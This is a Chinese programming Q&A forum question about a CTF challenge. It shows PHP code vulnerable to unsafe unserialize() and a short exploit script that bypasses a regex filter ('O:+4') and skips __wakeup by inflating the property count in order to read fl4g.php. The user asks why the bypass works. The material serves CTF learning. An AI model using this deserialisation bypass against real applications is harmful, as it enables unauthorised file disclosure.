acvxd123 2022-09-26 14:41 采纳率: 64.1%
浏览 45
已结题

一个ctf题,为什么下面的代码str_replace要这样构造?

问题遇到的现象和发生背景
用代码块功能插入代码,请勿粘贴截图
我想要达到的结果
<?php 
class Demo { 
    private $file = 'index.php';//定义一个私有变量。
    public function __construct($file) { //定义一个方法作为构造函数。
        $this->file = $file; //用来引用对象的成员。
    }
    function __destruct() { //析构函数。
        echo @highlight_file($this->file, true); //函数对文件进行语法高亮显示,如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码。
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { //判断file参数是不是,Index.php,如果不是的话,让file=index.php。
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { //检测是否传递了get请求的var变量。
    $var = base64_decode($_GET['var']); //对var变量进行base64解码。
    if (preg_match('/[oc]:\d+:/i', $var)) { //preg_match — 执行匹配正则表达式,返回匹配到的次数。
        die('stop hacking!');//die等同于exit() 。
    } else {
        @unserialize($var); //反序列化:unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
    } 
} else { 
    highlight_file("index.php"); //输出index.php。
} 
?>
<?php
class Demo { 
    private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a);       //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a);        //绕过__wakeup()函数
echo base64_encode($a);                   //绕过解码函数
?>

为什么O的长度是4?
为什么$a里面有:1:就会执行__wakeup()?

  • 写回答

1条回答 默认 最新

报告相同问题?

问题事件

  • 系统已结题 10月6日
  • 已采纳回答 9月28日
  • 赞助了问题酬金10元 9月26日
  • 创建了问题 9月26日

悬赏问题

  • ¥20 树莓派5做人脸情感识别与反馈系统
  • ¥15 selenium 控制 chrome-for-testing 在 Linux 环境下报错 SessionNotCreatedException
  • ¥15 使用pyodbc操作SQL数据库
  • ¥15 MATLAB实现下列
  • ¥30 mininet可视化打不开.mn文件
  • ¥50 C# 全屏打开Edge浏览器
  • ¥80 WEBPACK性能优化
  • ¥30 python拟合回归分析
  • ¥500 metaswitch 6010
  • ¥15 关于#分类#的问题:不用人工智能的算法